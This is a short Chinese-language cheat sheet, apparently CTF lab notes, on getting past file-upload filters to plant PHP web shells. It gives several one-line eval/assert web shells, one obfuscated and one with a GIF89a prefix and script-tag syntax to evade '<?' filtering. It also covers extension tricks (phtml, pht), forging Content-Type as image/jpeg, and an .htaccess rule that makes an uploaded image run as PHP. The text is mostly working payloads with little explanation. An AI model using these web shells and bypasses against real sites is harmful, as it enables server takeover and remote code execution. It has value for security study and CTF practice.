一.知识

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

二.实例

1.phtml, <?简单过滤

(1)一句话木马
故意使用了post和get用来迷惑人
https://127.0.0.1/shy.php?POST=assert 密码:GET

<?php $_GET['POST']($_POST['GET'])?>

(2)提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为

image/jpeg

(3)带<?的一句话都不行

GIF89a? <script language="php">eval($_REQUEST[8])</script>

(4)现在需要知道图片的保存路径了。
一般都是

upload/filename

2.前端验证, phtml

(1)一句话木马

<?php @eval($_POST[8]);?>

(2)前

jpg

(3)后缀

phtml

3 .htaccess

(1)一句话木马

GIF89a? 
<script language="php">eval($_POST[8]);</script>

(2).htaccess文件,里面的内容为:

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

注意里面的1.png要和你刚才上传的文件名一模一样!

注意jpg还是png,要改为相应的。

(3)访问

得到

/var/www/html/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg succesfully uploaded!

访问

/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg 
07-28 10:47